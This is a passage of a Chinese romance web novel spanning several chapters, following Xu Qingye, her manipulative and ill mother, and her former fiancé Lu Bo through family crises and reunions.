“今天拿档案,你该不会给忘了吧?” “没忘。” 左耳里听筒中的声音与右耳中的现实重合,班长抬头朝门口看去,许清也正站在门口,身上的白色T恤上还沾着一条灰痕。 她背对着阳光,灵动漂亮的鹿眼肿的不成样子,挥手朝班长打招呼,勉强打起精神挤出一个笑。 “马上各奔东西了,不想最后还给你们留个狼狈的印象。” 班长把档案递给她,刚想要开口,一阵急促的手机铃声就打断了他的话。 手机在许清也牛仔短裤的袋子里震动几秒,她伸手按掉了声音,拿着档案在第一排坐了下来。 “高考只是人生的开始嘛,何况你这回虽然有失误,总体来说还是发挥出水平了的。这可是老班点头的说法,不是我说的啊。” 班长显然把她红肿的眼眶归咎于对成绩的不满意,还拍了拍她的肩安慰道: “老班不是常说,咱这正是努力的年纪嘛。” “真不开心的时候别忘了老朋友,咱们寒假回江城再聚。” 许清也捏着装满档案的牛皮袋,沉默了一秒钟,抬头道: “我要搬家了。” 班长满脸错愕,还没回过神来,许清也兜里的手机又开始反反复复地响起来。 按掉第二个电话的铃声,她索性点了关机。 “班长……” 许清也纤长的睫毛低低地掩住了眸中的情绪,最终什么也没说。 “那个电话,不要紧吗?” 班长忍不住关心地问道。 阳光已经不如午后耀眼了,穿过糊着报纸的玻璃,在课桌上留下深浅不一的光斑。许清也数着光斑,答非所问道: “班长,我在这坐一会儿吧。” “坐一会儿我就走了。” 半个小时后,她沉了口气把手机开机,漫天的短信和电话瞬间涌了进来。 许清也转头看向窗外,阳光依旧照在走廊上,却没有映出任何人的影子。走廊上空荡荡的,只是偶尔有闲聊声从楼梯转角模模糊糊传来。 “我的世界将被摧毁, 也许颓废也是, 另一种美——” 手机铃声再一次唱到尽头,她捏着手机站了起来。 少女纤细单薄的影子照在班长面前剩下的档案袋上。 “班长,”许清也抱着档案袋站到了门口,“谢谢你。” 她挥着手告别,语气轻快地说着再见,身影很快消失在走廊尽头。 班长叹着气开始拨剩下最后一个同学的电话,五分钟后,送出去手里的最后一袋档案,终于拿出抽屉里的锁,准备离开教室。 “打扰了。” 一只瘦削白皙的手撑住门把手,少年喘着粗气,语气抱歉: “同学,你见过照片上这个女孩吗?” 他浅蓝色的衬衫被汗水沁湿了领口,小心翼翼地从胸前的口袋里掏出一张巴掌大的照片。 照片里的女孩靠着栏杆,抬头看着远处漆黑的夜空,只露出半张模糊的侧脸。 她身后的夜空中模模糊糊划过一道流星,仔细看,还能看见对面那栋教学楼上挂着的高考冲刺加油的横幅。 “我有重要的东西想要给她,如果你见过,可以告诉我她在哪吗?” 少年的语气恳切,汗水浸湿了他额前的碎发,半盖住他的眉,漆黑的眼瞳中写满期盼和焦急。 他右手拎着的袋子滴下一滴透明的水珠,小半袋半化开的冰块里塞着一瓶装着某牌牛奶的玻璃罐。 班长认得那张照片,高考前一个月的某天晚自习,同学们忽然含着流星雨涌出了教室。许清也的同桌拿着ccd到处拍照,这张意外抓拍到的照片被她拿来炫耀了好久。 说是这张的光影构图,堪称神作。 许清也自己也很喜欢这张照片。 “我认识她,不过今天之后,我也不知道她住在哪了。” 犹豫再三,想起许清也那抹勉强的笑意,还有她时不时看向走廊的视线,班长还是抬头告诉了面前人。 “她刚走五分钟,三中后门那条林荫路,你现在追过去可能还来得及。” 话刚说完,少年的身影就消失在了眼前。 只留下两滴透明的水渍,证明着他来过的轨迹。 三中背后的林荫路是一条很长的上坡,坡路并不陡,走久了却容易有一种没有尽头的疲惫感。 路薄不记得跑了多久,只记得手里的半袋冰块还剩下浅浅一层的时候,有一瞬间,他看见了那个扎着高马尾,抱着档案袋的身影。 路边的菩提叶宽大浓绿,被燥热的风吹下枝头的时候,叶子顺着风划过少女摇摆的马尾,飘落而下。 只有一个相似的背影,没有百分百的确定,他却神差鬼使地加速跑向她。 浓绿的菩提叶落在他摊开的手心。 一抬头,少女的背影消失在人来人往的林荫街中。 十九岁的路薄拎 7. 亲爱的 《拿错前夫哥的快递后》全本免费阅读 关上门的一瞬,世界陷入无声。 许清也大衣口袋里的手机再一次震动起来,来电显示的备注后挂着两颗并排的爱心。 她靠在门上,沉了口气,接听了电话。 “小也,刚才为什么不接妈妈的电话?” 刚一接听,电话另一头就源源不断地传来中年女人的质问,她几次想要开口回答,却一直没能找到话口。 “谈恋爱了?还是又为那个工作在加班?” 女人问完一连串问题,终于停了下来。 “妈,我没有。” 许清也看起来像是只回答了其中一句,也同时回答了所有。 电话两端同时陷入短暂的沉默。 “早就跟你说过,你那个画插画的工作是做不长久的。” “既然早晚都要去许氏接班,当初你就应该一毕业就去公司上班,从基层磨练几年,才不会被那个贱人的儿子给比下去。” 尹虹的语气越来越激动,又开始老生常谈。 “怎么就不长久了?” 也许是被她那句“不长久”给刺痛了,许清也忽然大了声音反问。 “不长久的原因不在我、也不在插画师的工作,真正的原因妈你难道不知道吗?” 她毕业后的第一份工作,就是从实习的天文杂志社转正成了正式的插画师助理。 大学四年,那是她第一次感觉到自己还有接近梦想的机会。 即使没办法学习航天航空的一切,她却可以用另一种方式触摸她热爱的那片天空。 梦碎在工作转正后的第三个月。 尹虹毫无道理地在杂志社门口大闹了半天,再后来主编虽然对她的道歉表示理解,但还是同时递给了她两个信封。 一封是辞退书、一封是推荐信。 她到现在还记得主编递给她信封时候说的话。 他说:“小许,我相信你的专业能力,但是……” “你愿意的话,我有个在娱乐杂志的老朋友,你可以去他那试试。” 许清也把那封推荐信锁在了抽屉里。 “小也,你不要忘记你应该做的事情。” 她的情绪逐渐失控,尹虹的声音却平静地可怕,像个冰冷的机械声一样提醒着她。 “许氏是你的,也是我的,你必须把我们母女俩的东西拿回来。” 妈妈的话像是一响钟声,敲醒了许清也短暂的失控。 今晚她不想多说什么,身体的疲惫、饥饿,心绪的疲惫,都让许清也只想逃到房间里钻进被窝。 就像小时候躲进屋顶的阁楼一样,找到一个狭小而充满安全感的地方充电。 “我知道,妈。” “你知道的话就好,”尹虹似乎松了一口气,接着道,“你现在住在哪我也不问了。” “下个月就去许氏上班吧。” 胃里传来一阵灼烧的疼痛,许清也捂着腹部瘫倒在沙发上,想起高中三年的晚自习后,妈妈几乎从不重样地给她准备的宵夜。 那时候她还住在江城的别墅里,一家三口和乐幸福。 有时候尹虹会在悄悄退开门缝在她的桌角放一盘水果切盘,被她苦着脸缠着撒娇的时候,还会笑着哄她: “我们家小也不那么努力也行的,想做什么就去做。” “妈妈都永远支持你!” 她久久不回答,电话另一头的尹虹语气也逐渐尖锐起来。 “你已经二十六岁了许清也,你还以为你只是个小孩子,什么都还能来得及吗?” “你为什么就不能理解理解妈妈?” “难道你觉得我们母女所遭受的一切是应得的吗?” 一连串的逼问顺着手机听筒钻入许清也的耳朵里,却在如同灌入荒野的风,在她耳边逐渐模糊。 胃里的绞痛更加清晰,一连串的字节从耳边流走,她却始终难以分辨其中的含义。 …… “小也,你难道是要逼死我吗?” 最后的这句话许清也听懂了,无比清晰地。 “好,那妈妈就如你所愿。” “小也,妈妈希望你不会后悔。” ——妈妈说她要去死,是被自己逼死的。 又一次地,这么说。 “不!妈你冷静……” 电话嘟地一声被挂断,许清也微弱地制止声被隔绝在屏幕之外。 冷汗沁湿她额角的头发,扶着沙发打开茶几底下的药箱,就着桌上冰冷的隔夜水吞下一颗止痛药,转头不断地拨打着尹虹的电话。 “您好,您拨打的电话暂时无法接听……” 真正冰冷机械的电子女声一遍又一遍地响起。 许清也疼得抽气,强撑着茶几站起身来,抓起沙发上的充电器就往门外跑。 也许是药效起作用很快,在路边拦下出租车的时候,她已经感觉不到胃里太多的疼痛,只剩下空荡灼烧的感觉钝刀折磨着。 “师傅,去汽运中心。” 司机师傅点点头发动了车。 毕竟时间已经不早了,安全起见,许清也半趴在膝盖上,疲惫地随意点开了置顶的微信聊天框,发出去一段语音。 “亲爱的,我现在出发,应该二十分钟就能到汽运中心。” 语音消息在一声提示音后发了出去,她撑着膝盖退出界面,手指却顿在了原地。 她刚才点进的不是文件传输助手,而是跟路薄的聊天框? 【芝士先生】:你还饿吗?我把蛋糕放到你门口吧。 动作利索地撤回了语音,看着路薄两分钟前传来的消息,许清也简单地回绝: ——谢谢你,不用了。 退出界面,她强迫自己冷静地订好车票,然后趴在膝盖上短暂地休息,保存精力。 江城跟丰城紧挨着,许清也买的这一班车二十五分钟后出发,一个小时之内就能到家。可是就算这样,一个半小时的时间也太久了。 她了解尹女士,她是个太要面子的人,如果报警,警察赶过去的话只会刺激她的神经。 可是有一个人不会。 攥紧了手里的手机,许清也脑中不断搜索着人在丰城的熟人,通讯录里的人过了一遍又一遍,最后还是只能停留在那个许久没有想起过的名字上。 心一横,许清也直接按下了拨通键。 “喂,小也?” 电话里的男声带着点不清醒的沙哑,似乎是刚从睡梦中醒来,连语气里的丝丝的惊喜都不曾掩饰。 “是我。” “这么晚了,你怎么会突然打给我?” 似乎是已经清醒了过来,江闻舟的语气变得严肃。许清也几乎能想象到他皱着眉头坐起身的样子。 “我妈她…” 许清也的话还没说完,就听到电话另一头一阵细碎的杂声,江闻舟打断 8. 在等你 《拿错前夫哥的快递后》全本免费阅读 江城的冬天湿冷,大巴上没有开空调,冷风被隔绝在窗外,车上仍然带着潮湿的凉意。 路薄一上车就看见了靠窗的许清也。 她侧着脸看着窗外,时不时低头看向手上的手机。雾气朦胧地模糊了车窗上的景色,她的小臂拦在腹前,脸色看起来苍白的如同一张纸片。 他低声跟她前排的中年男人商量了一番,最终以两倍票价成交了许清也前一排靠窗的位置。 透过座位和窗台的缝隙,这里正好能看见她因为困倦而一啄一啄的脑袋。 看样子她现在需要的首先是睡眠,其次才是食物。 怀里的保温袋透出蛋糕温热的烘焙香味,路薄皱着眉把脚下的地板擦了几遍,最后垫着报纸放下了登山包。 车很快开动,盘转的山路给乘客带来短暂的晕眩,坐在他身边的大叔掏出橘子皮抑制晕眩。 车窗上满是水雾,他修长白皙的指节沿着模糊的树影描出一条水痕,三两下画出了一朵可爱的玫瑰花。路薄透过抹去水雾的“花瓣”向车窗外看去,只看到一片黑蒙蒙的山石。 弯身从登山包里找出杂志,他扶了扶因为低头动作掉落些许的金丝眼镜,仔细看起资料来。 山路拐过最后一个弯,路边骤然变得刺眼的光线闪过窗边,路薄下意识抬头。 一闪而逝的玻璃反光中,许清也偏头靠在玻璃窗边,看起来梦中并不安稳。 “妈妈,我饿。” 坐在女人腿上的小男孩指着坐椅缝中的蛋糕袋,嘟嘴大声道。 女人伸出手指示意他小声些,男孩见母亲并不回应他话,嘟起的小嘴一瘪,眼看就要哭出来。 前排座椅缝中的蛋糕袋忽然被一只骨节分明的大手拎走,男人带着不赞同地目光回头。 “你想吃?” 路薄轻声开口,指了指手中的蛋糕袋。 男孩顺着声音看向蛋糕袋,眼中瞬间闪起光。女人有些不好意思地摆手,低声拒绝道: “这怎么好意思,不用管他的。” 路薄有点意外地挑眉。 “女士,你可能是误会了,我不是要送蛋糕给你们。” 女人尴尬的笑容僵硬了些,怀里的男孩听懂了路薄的话,瘪嘴就要爆发一场惊天动地的哭闹。 一盒温热的蛋挞被递到男孩面前,瞬间止住了他眼眶里的泪花。 路薄食指抵在薄唇上,示意他噤声,眼神示意了前后两个位置,认真道: “换,倒是可以。” 客车重新从服务站发动的时候,许清也靠在车窗边的脑袋随着转弯的车身小幅度地摇摆了几圈。 最终被一双白皙修长的大手扶住,轻轻靠在一侧坚实宽厚的肩膀上。 —— 许清也吃蛋糕的样子很秀气,小口小口地。 只有路薄拇指宽的方块蛋糕放在她手心,几乎就占据了她大半个手掌的位置。 她的手指纤长骨感,极具欺骗力,路薄第一次发觉她的手心原来连多一块小蛋糕也塞不下,也是第一次怀疑自己的判断。 或许她是真的不饿? 察觉他的视线,许清也不好意思地抿唇问道: “你不吃吗?” 路薄低头看向她手心只是“受了点皮外伤”的小蛋糕,自觉低头从袋子里拿出小蛋糕吃了起来。 他两指捏着蛋糕,三两口就吃完一小块。分明算得上狼吞虎咽的吃法,由他做起来却意外的从容矜贵。 如果忽略他颊侧被蛋糕塞得不明显的鼓起弧度。 许清也收回偷偷看向他的视线,莫名地联想起藏食的龙猫,心情短暂地松快了几秒。 其实她的肚子早就连咕咕抗议的力气都没了,她侧头看向窗外漆黑的公路,谈不上淑女地加快了吃蛋糕的速度。 好在这趟路线的确很近,没有多留给许清也胡思乱想的时间,很快就到达了丰城站。 客车刚一停稳,许清也就抓着手机越过在座位边拿登山包的路薄,急匆匆地跑下了车。 丰城对她来说并不陌生,预约好的出租车准时停在客车站的接驳区,许清也很快找到了正确的车牌号。 在后座上坐好,她看向前窗玻璃,随手去拉车门。 “姑娘,你们是一起的吗?” 车门被一双修长骨感的手拦住,许清也顺着司机的话茫然地转头。透过昏暗的车窗玻璃,她只看到了路薄轮廓清晰的下颌线。 “怎么了?” 许清也皱眉松开手,下意识又看了一眼时间。 “手机没电了。” 路薄伸出黑屏的手机在她面前按了按电源键,似乎在用一点反应也没有的屏幕来佐证自己的话。 “能不能载我一程?” 他在这种时候总是显得尤其没有眼力见,即便她脸上为难的神色已经十分明显,路薄还是撑开车门,垂眸目光专注地等待着她的回答。 就连司机也看出她的为难,粗着嗓子询问道: “姑娘你别怕,你要是不认识他你就直说,我一脚油门咱们就走了。” 显然是把路薄当成了纠缠女孩的偏执狂。 许清也的时间经不起耽搁,往里让出位置让路薄上车,才舒了口气朝前座感激道: “谢谢师傅,咱们出发吧。” 一路上许清也都认真地看着沿路的车辆。 没有警车,也没有救护车,直到出租车开到小区门口,她悬着心依旧不能放下。 车开不进小区,许清也下了车就抓着手机狂奔,跑到单元楼下的时候,手机忽然响起一阵铃声。 是妈妈打来的。 接听电话的时候,她才发觉自己的手有些抖。 “小也,是我。” 单元楼下停着江闻舟的摩托,还是一年前改装过的样子。许清也的视线从摩托车上移到六楼亮着的窗前,听到电话里平静的男声安抚道: “阿姨没事,你到了的话就上来看看她吧。” “好。” 她声音干涩地答了一个字,就挂断了电话。 旧小区的洋房并没有电梯,许清也拖着疲倦的脚步站到六楼门口,还没敲门,门就从里面打开来。 江闻舟站在门口,家里只开了玄关的灯,新换的白炽灯亮光刺眼。 尹虹正对着窗户坐在沙发上,听到门打开的声音也没有回头。 这场景在她的记忆中应该说是熟悉。 “妈。” 许清也站在门口,亲眼看到尹虹坐在客厅里身影,心才算是落回了原处,随之而来的就是铺天盖地的疲惫。 江闻舟知道她们有话要聊,脚步迟疑几秒,还是轻拍了拍许清也的肩: “我先走了,你跟阿姨好好聊。” 许清也难得没有心情去清算人情,只是笑容苦涩地点了点头。 她明知道七八年都过去了也没聊出什么结果,今晚又能聊出什么呢。 门锁被轻轻带上,她熟练地从鞋柜第一排拿出自己的拖鞋,换到一半,动作却被尹虹的话打断。 “你跟小江还有联系?” 9. 结婚嘛 《拿错前夫哥的快递后》全本免费阅读 刚一推开透明的玻璃门,潮湿的空气中混杂着淡淡的发霉味,在鼻端散开。 暗黄色的灯光看起来算得上是昏暗,许清也抬头看壁灯,一大圈飞蛾尸体残存在灯罩上,只留下一团灰黑色的影子。 从墙上的半身镜中,她看到路薄拎着登山包跟在她身后。 他穿着单薄的黑色冲锋衣,眉眼精致而冷硬,身后的登山包看起来也并不昂贵,可整个人却莫名泛着与这个满是潮湿气息的小旅馆格格不入的气息。 前台泛黄的透明桌垫下垫着几份超市打折海报,坐在前台的阿姨原本有些昏昏欲睡,瞌睡间看到有人进来,随手从鼠标底下抽出一张塑封过的价目表递给他们。 价格美丽,房间情况却不太美丽。 丰城比不上江城,大半夜就近在老小区边上订酒店,她刨遍了几个软件,也就只能订到这种。 许清也打定主意,要是他敢挑剔,就在前台阿姨这买一根充电线跟他分道扬镳。 毕竟更贵的她也不一定垫得起。 “标准间,可以吗?” 许清也指着手机上的展示图递给他看. 本以为像路薄这样的“富家少爷”兴许会看不上这里,谁知他却淡定地凑近看了几秒,点了点头。 看起来适应地十分自然。 没了借题发挥甩掉他的机会,许清也一时语塞,三两下定好了房间,转身递给他房卡。 “等我几分钟,我马上就回来。” 男人接过房卡,却丢下一句简短的话,快步转身朝旅馆外走去。 路薄长腿迈开,几秒之间身影就消失在旅馆外的转角。许清也回过神来,只能站在远处叹了口气。 一个手机没电的人,分明刚刚还说哪也去不了,现在倒是自己乱跑。 在旅馆前台边的木沙发上坐了两分钟,困意一阵阵模糊着视线,许清也才后知后觉地发现自己穿着一只拖鞋搭配一只帆布鞋的窘况。 也许是一晚上狼狈的事情太多,她居然撑着膝盖无奈得笑了出来。 伸手去摸口袋里的手机,一张巴掌大小的纸片顺着她的动作掉落在地上。 许清也捡起纸片,想起纸片的来历,皱着眉绽开。 因为一路算不上温柔的对待,炭黑的打印字上已经被折痕磨损了几个笔画。但一展开,她仍然一眼看到丰城市第一医院的大字。 捏在手心的手机忽然震动起来,许清也有些分不清她的手是因为眼前的黑字诊断结果而颤抖,还是因为来电震动。 “喂?小也?” 许清也把手机听筒靠到耳边,电话另一头邻居大叔的声音让她短暂地打起了精神。 “余叔叔,是我。” 话一出口,冰凉的眼泪顺着脸颊滑落到下颌,她抬手抹泪,才发现泪水像是打开了某个开关,不断地从夺眶而出。 “小也,你快来一趟丰城市第一医院吧,你妈妈她刚才在家门口晕倒了……” 后面的话混杂着马路边喧杂的汽车声,震得许清也脚步一顿。 从余叔叔说第一句话开始,她脑中就只剩下一片灰白,只是下意识地旅馆外的马路边跑。 抬手拦下一辆出租车,路边的寒冷的风吹在她泪痕未干的脸上,一阵刺骨的冰冷。 “余叔叔,我马上就到。拜托您和阿姨先帮我照顾一会儿我妈……” 她冷静地拉开车门,跟电话一头的邻居叔叔了解情况,抬头间,余光却触及马路另一头一个熟悉的身影。 隔着纯白色的斑马线,前后穿行的车辆亮着刺眼的惨白灯光。 路薄站在马路对面的红灯边,拎着满满两袋子看不清牌子的纺布袋。 冷风吹得他额前的刘海乱飞,露出深眉下那双神色冷漠的眼睛。 看到她穿着拖鞋并不利索的跑步姿势,路薄的神色柔和片刻,有些机械地朝她挥手示意。 马路对面的车门却被砰地一声关上。 车流穿过的几秒后,许清也的身影完全消失在对面。 手机铃声响起,路薄立刻垂眸点亮手机屏幕。 提示消息显示的并不是期待中的名字,对面的红绿灯由红转绿,他随手划开了提示,朝旅馆的方向走去。 —— 和尹女士的战争从十七岁那年开始,局面就一直僵持着,称得上是旷日持久。 多数时候,她们都会以尹女士占优势的局面宣告暂时的停战。 许清也自然而然地认为这次也是一样。 直到她坐在旅店的木沙发上看见那张诊断证明——胰腺癌中期。 “妈。” 尹虹躺在急诊科诊室的病床上,安静、苍白,单薄地就像一片雪花。 挂在床头的点滴记录着时间的流逝,空气中漂浮着淡淡的消毒水的味道。 许清也从小就讨厌这种味道。急诊室冰冷的仪器声和忙碌的身影总是很容易让她感觉到心慌,就像是即便有什么珍贵的东西在这里消失,也不会因此有人停下脚步。 “小也,你别担心。” 邻居阿姨坐在床边,闻声回头看见许清也通红的眼眶,拉着她安慰道。 “医生说只是情绪激动导致的,现在已经没什么大碍了。” 她并不知道尹虹的病,只以为是他们母女俩吵了一架,情绪有些激动罢了,还隐晦地劝许清也多让着点妈妈。 许清也看着尹虹平静的脸庞,本以为自己的眼泪的会克制不住地流,但现在好像却一点也哭不出来。 像是眼泪已经在出租车上流光了。 道谢、送余叔叔夫妻俩离开、安顿住院手续,她像个冷静到冰点的仿生人一样有条不紊地完成这一切。 坐回到尹女士床前的时候,窗外的天已经有些泛白。 点滴早就打完了,看着护士来拔过了针,也几乎拔走了她仅剩下的精气神。许清也趴在尹虹身边,意识逐渐被困意模糊。 恍惚间她似乎看见尹女士坐起来,温柔地摸着她的发丝。 背对着窗户,并不能很清晰地看见她的表情,可许清也总觉得她是笑着的。跟高二时候偶尔来接她下晚自习那会儿一样,不带着什么负担和困苦,只剩下幸福。 紧接着她就听见了连绵的落雨声。 江城一到冬春季节就没完没了的下雨。她撑着一把巨大的雨伞跑回家,依然被忽然倾盆的暴雨淋湿了裤脚。 好在书包只是湿了外表。许清也从袋子里翻出钥匙,打开了那扇陈旧却温馨的门。 尹虹从厨房里探出头来,指着厨房外矮桌上的电饭煲道: “小也,饭自己盛,妈妈还有一个菜就好了。” 三中的午休时间不算短,足够她慢慢吃完饭,还能睡上半个小时的午觉。 许清也放下“光盘”的小碗,迫不及待地钻进房间,从木头书架上找出那部被尹虹淘汰的旧手机,点进了一个页面简洁的软件图标。 湛蓝色的行星环绕着浅色的卫星,缓缓转动三秒后,开屏动画褪去,出现一张折成纸飞机的便签样式。 还有不到两周的时间就要高考了。 今天是最后一次模考出成绩的日子,许清也的成绩超出了南航的分数线不少,一直不好意思说出口的梦校,今天忽然有了说出来的勇气。 沉了口气,她忐忑地点开屏幕上的便签,展开的画面却是一片空白。 【用户未登录】 许清也稳住气刷新了一遍,重新输入账号密码,这次显示出来的提示却让她心尖一沉。 【用户不存在。】 她愣在书桌前,尹虹端着切好的苹果走到她房间门口,看见她失落的样子,脚步一顿。 “小也,再不睡中午可就来不及睡了。” 苹果切盘隔着废弃的练习卷放在她面前,一股水果的清香袭来,许清也按灭了手机,转头问道: “妈,是你删的吗?” “苹果一会儿就要氧化了,快点吃吧。”尹虹避而不答。 “为什么要删?”许清也打断她的话。 一肚子的委屈不知从何说起,反而成了一种空落落的感觉徘徊在心口。有些一直以来逃避着 10. 中央空调 《拿错前夫哥的快递后》全本免费阅读 “哥?” 玻璃杯被酒瓶碰出清脆的响声,路远坐在对面的卡座上,伸手在路薄面前晃了晃。 见路薄的眼神恢复清明,他不可置信地追问道: “你这副表情是什么意思?不会答应她了吧?” 路薄伸手挪开了他靠在自己杯侧的酒瓶,在路远期盼的目光中如他所愿摇了摇头。 “我就说,哥你这种计划狂,怎么会随随便便······” “她把我赶走了。” 路薄低头抿了一口杯中的牛奶,语气稀疏平常。 “她不赶你走,你还真打算答应啊?” 路远一肚子感叹噎在喉咙里,即便带着鸭舌帽、墨镜、口罩的全套装备,都能从含糊的声线中听出他的恨铁不成钢。 因为路远职业的关系,他们一进“甜氧”的门,就挑了角落的卡座坐下。 角落灯光太暗,看不清路薄脸上的表情。路远正欣慰他这回总算是没点头,却听见他语气认真地分辩道: “只是一时冲动的话,我答不答应并不重要。” “哥!”路远知道许清也就是许氏的大小姐,苦口婆心地劝导起来。 “她耍了你一次,就有两次、三次。咱至于要这么一次两次的被她骗吗?” 听到“骗”这个字眼,路薄平静的表情终于有了些许波动,挑眉纠正道: “两年前我也迟到了,不全是她的错。” “还有,不是‘咱’,只是我。” 灯光忽然亮了几度,舞台边忽然躁动起来,沸腾的人声盖住了路远又臭又长的抱怨,只剩下最后一句话清晰地传达到了路薄耳边。 “就凭她这回先提起结婚,结果又把你赶走,这还不够善变吗?” 出乎意料地,路薄竟然煞有介事地点了点头。 他看向一片沸腾的舞台中心,变了方向的灯光照在他的脸侧,高挺的鼻投出小片阴影,男人蹙着眉摇晃着手中泛着小气泡的牛奶,想到天台上的某个画面,艰难地认同道: “她的确是,挺善变的。” 路远叹了口气,无奈地转了转鸭舌帽的帽檐,语气担忧: “你这样,我真担心你是真喜欢上她了。” 带着电流声的吉他solo混杂着尖叫声,淹没了他本就不大的声音,路薄转过头挑眉问道: “你说什么?” “没-什-么-”路远无奈地伸手指了指舞台的方向,自觉闭上了嘴。 鼓点激烈地落下,铺杂着电吉他沉闷的和弦声,朋克的旋律从涌动的人群中间穿破冰冷的空气,瞬间点燃整个舞池的温度。 舞台中间的男人穿着复古的亚麻黄衬衫,领口随意地散开,深色的条纹领带靠在纯黑色的电吉他后,更抢镜的则是他一头银白的狼尾发。 话筒被啪地按低,男人的薄唇几乎靠在话筒上。 骨感的指节随意调整了片刻电子蓝的耳返,磁性的男声随着旋律倾斜而出。 “IfIhadtolivemylifewithoutyounearme Thedayswouldallbeempty···” 舞池的热度节节攀升,隔绝着窗外淅淅沥沥的雨声。 人群攒动,池枣枣举着手机从拥挤的人群中挤出来,静电把她柔顺的长发炸毛得像一只小狮子。 好不容易穿过人群,她握着手机瘫倒在卡座里,猛地端起酒杯灌了一大口,才喘着气道: “挤死老娘了!没想到丰城也有这么多anoxia的粉丝···” “都说了肯定拍不到的,一米七小姐,现在该相信我了吧?” 许清也贴心地递给她两张纸巾,忍不住调侃。 就算anoxia乐队这次是空降表演,以他们的粉丝量,迟枣枣绝对挤不进前排录直拍。要不是迟枣枣刚才拍着胸脯自信以她一米七的身高绝对能拍到超清画面,许清也都懒得调侃她。 “谁说我没拍到的!” 池枣枣得意地一撩头发,风情万种地把手机放到二人中间,指尖一戳点开视频。 屏幕中的舞台灯光刺眼,虽然偶有炫光,但大多时候李时缺那张性张力拉满的脸还是清晰到不行。 “我天,你这简直像坐他怀里拍的啊!这团购的酒水费也太值了吧?!” 许清也挪过手机,再次感叹:“这帅气逼人的美貌啊···” 池枣枣慢悠悠地倒着酒,听清她的话,意有所指地碰了碰许清也的杯子。 “你楼下那位,也不逞多让啊。” 一提到路薄,许清也因为欣赏帅哥美貌而扬起的嘴角瞬间放下。 “不仅仅是脸,帅是一种气质。” “像他那种善变的人,请别侮辱帅这个字。” 许清也嘴硬地否认,盯着酒杯里打转的淡粉色鸡尾酒,却忽然联想起路薄家玄关那块淡粉色的挂布。 说不准就是某个被温暖过的对象送的吧? 她指尖隔着玻璃杯磨蹭着杯里的气泡,回想起自己莫名其妙的求婚,瞬间觉得面前的气泡简直让人烦心,索性一口喝光了杯中的酒。 “他拒绝你了?”池枣枣截下她接着倒酒的动作问道。 许清也尴尬地点了点头,接着又摇了摇头。 当时她满脑子都是答应尹女士的事,联姻、去许氏上班,一直以来为难而想守护的,这些都比不上尹女士能鲜活地朝她发脾气珍贵。 看到路薄手上那双纯白色的运动鞋的时候,许清也承认她的心脏短暂地漏了一拍。 有可能是因为他发现她回头时错愕的表情有那么一点可爱,话不经大脑就出口了。 不过直到他反问考虑什么之前,许清也都没有后悔。 她想,既然都是结婚,与其跟一个不认识的男人,不如跟路薄试试。 至少这一次,她不会再逃了。 许清也屏着呼吸等待他的回答,等来的却是他长篇大论的说明。 从他难得唠唠叨叨的话里,她只听懂了两点: 1.他的工作性质可能要常常出差,不适合结婚; 2.他认为她可以冷静下来再想想。 总结,路薄完完全全是在兜着圈子寻找机会,下一句应该就是婉拒。 害怕听到令人丢脸的回答。 没等他说完,她像一朵展开尖刺的玫瑰,果断地踮脚按住面前男人的肩膀,推着他转身。 “我就开个玩笑,你赶紧走吧,这里不准闲杂人等来的。” 说这话的时候倒全然忘了她也是自己口中的“闲杂人等。” 她的态度太坚决,路薄企图回头的动作都被打断,只能就这么沿着楼梯下了楼。 谁叫他一系列贴心的行为都让许清也误会,一提结婚,却连犹豫都没有,就开始一连串地找借口。 许清也捂着脸怒骂道: “枣枣你说,这不是中央空 11. 腐烂的苹果 《拿错前夫哥的快递后》全本免费阅读 丰城有不少细巷,辗转穿过两三条巷子,很快就赶到了市医院的门口。 路薄沉默地撑着伞跟在她身后,路远反抗无效,与其一个人留在人来人往的酒吧门口,还是选择了老实跟上。 路过巷尾的水坑,许清也满脑子都是细雨中飘摇的伞带,差点一脚踩进深深的水坑里。 迟枣枣挽着她的胳膊,眼疾手快地拉住了她。 “小心点。” 即便看不出来她的心事,池枣枣也能看出她这一路的心不在焉。 想到还在市医院陪护的江闻舟,迟枣枣叹了口气,没多说什么。 许清也点点头,抛开脑中漫无边际的猜测,专心脚下坑坑洼洼的路。 尹女士的病房在一楼走廊的尽头,这里是急诊科的病房,住不了两天就要转病房了。许清也打算劝她去江城的大医院检查,也就没纠结病房的问题。 老实说,她并不想路薄出现在尹女士面前。 这毫无疑问地会让所有人想起两年前荒唐的订婚宴,更会让尹女士旧事重提。只是路薄的借口找的太完美,她没办法替尹女士拒绝晚辈的拜访。 还没走到病房门口,许清也就听见尹女士开朗的笑声。 江闻舟本来就是很会逗人笑的性格。太久不见,她几乎都忘记他从前有多讨尹女士喜欢。 房门把手“咔”地转动片刻,江闻舟拿着水果刀和红彤彤的苹果站在房门口,看到许清也身后的几人,有一瞬间的错愕。 “小也。” “辛苦你了。”许清也打断他的话,垂眸看着光滑的瓷砖感谢道,“我听余叔叔说了,我妈···前天多亏你及时发现了。” 那晚离开单元前看见的摩托车,果然不是她的错觉。 幸好那天江闻舟回头去找了尹女士,不然许清也不敢想她该有多后悔。 “应该的。” 江闻舟的目光略过许清也身后的几人,轮到路薄地时候几不可察地停留了片刻。 “跟朋友进去陪陪阿姨吧。” 他礼貌地点了点头,似乎碍于几人的存在,咽回了后面的话,晃了晃手中的苹果,朝水房的方向离开。 路薄的目光一直落在许清也身上。 他一眼就认出了江闻舟就是那天跟在许清也身后下楼的男人,听到他主人似的口吻,眸光不由暗了两分。 许清也带着几人进了病房,尹女士靠在床头一眼就看到了她身后的迟枣枣,话里埋怨,语气却满是笑意。 “小也,妈妈也没什么大事,怎么还让枣枣都大老远跑过来。” “枣枣才不是来看你的,明明是担心我才跑来的。” 许清也接过路薄几人领着的果篮,嘴硬地反驳。 自从那天尹女士醒来,他们母女俩就好像达成了一种默契的和平。母女俩都心照不宣地没有再说起关于联谊或是许氏的一切。 有时候许清也恍惚觉得前几年的一切都像是一场冗长疲惫的梦。梦醒了,尹女士还是那个温柔平和的妈妈。 尹虹拉着迟枣枣的手一抬头,目光落在路薄身上愣住。 “这是…小薄?” 两年前商议婚事的时候尹虹见过路薄几次,当初事情闹的不愉快,她怎么也没想到路薄这时候会来看她。下意识地,就认为是她病了的消息传的太快,竟然连路家都已经知道了。 “劳你父母费心了。” 路薄点头问好,许清也来不及阻止,就见他抿唇道: “阿姨,我不是代表路家来的。” “妈,我们是朋友,他正好来丰城出差……” 知道这人说话从来从来不明白修饰,许清也只能抢在他说出更多引人猜测的话之前,先一步朝尹虹解释。 他身后局促地压着帽檐的路远太显眼,她的话顿了顿,有些为难要不要介绍路远。 “这是我弟弟路远。” 